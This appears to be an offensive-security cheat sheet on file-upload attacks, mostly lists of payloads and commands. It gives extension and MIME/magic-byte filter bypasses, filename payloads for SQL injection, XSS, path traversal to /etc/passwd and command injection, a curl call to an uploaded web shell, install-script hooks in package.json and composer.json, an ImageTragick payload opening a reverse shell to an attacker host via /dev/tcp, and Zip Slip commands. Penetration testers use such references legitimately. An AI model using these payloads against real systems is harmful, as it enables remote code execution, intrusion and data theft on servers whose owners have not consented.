Upload

> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Summary

Tools

- Fuxploider
- Burp > Upload Scanner
- ZAP > FileUpload AddOn

Exploits

Defaults extensions

- PHP Server

```
.php
.php3
.php4
.php5
.php7

# Less known PHP extensions
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
```

- ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap`

- JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
- Perl: `.pl, .pm, .cgi, .lib`
- Coldfusion: `.cfm, .cfml, .cfc, .dbm`

Upload tricks

- Use double extensions : `.jpg.php`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
- Null byte (works well against `pathinfo()`)
  - `.php%00.gif`
  - `.php\x00.gif`
  - `.php%00.png`
  - `.php\x00.png`
  - `.php%00.jpg`
  - `.php\x00.jpg`
- Special characters
  - Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
  - Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg`
  - Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
  - Slash: `file.php/`, `file.php.\`
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
  - `Content-Type : image/gif`
  - `Content-Type : image/png`
  - `Content-Type : image/jpeg`
  - Set the Content-Type twice: once for unallowed type and once for allowed.
- Magic Bytes
  - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
    - PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
    - JPG: `\xff\xd8\xff`
    - GIF: `GIF87a` OR `GIF8;`
  - Shell can also be added in the metadata
- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")

Filename vulnerabilities

- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
- LFI Payloads: e.g. `image.png../../../../../../../etc/passwd`
- XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
- File Traversal e.g. `../../../tmp/lol.png`
- Command Injection e.g. `; sleep 10;`

Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.

- Picture Metadata, hide the payload inside a comment tag in the metadata.
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.

Configuration Files

If you are trying to upload files to a :

- PHP server, take a look at the .htaccess trick to execute code.
- ASP server, take a look at the .config trick to execute code.

Configuration files examples

- .htaccess
- web.config
- httpd.conf
- __init__.py

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

- package.json

```
"scripts": {
    "prepare" : "/bin/touch /tmp/pwned.txt"
}
```

- composer.json

```
"scripts": {
    "pre-command-run" : [
    "/bin/touch /tmp/pwned.txt"
    ]
}
```

CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port
0>&1|touch "hello)'
pop graphic-context
```

More payload in the folder `Picture Image Magik`

CVE - FFMpeg

FFmpeg HLS vulnerability

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

- Zip Slip: directory traversal to write a file somewhere else

```
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```

References

- Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
- BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA
- Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil
- La PNG qui se prenait pour du PHP, 23 février 2014
- File Upload restrictions bypass - Haboob Team
- File Upload - Mahmoud M. Awali / @0xAwali
- IIS - SOAP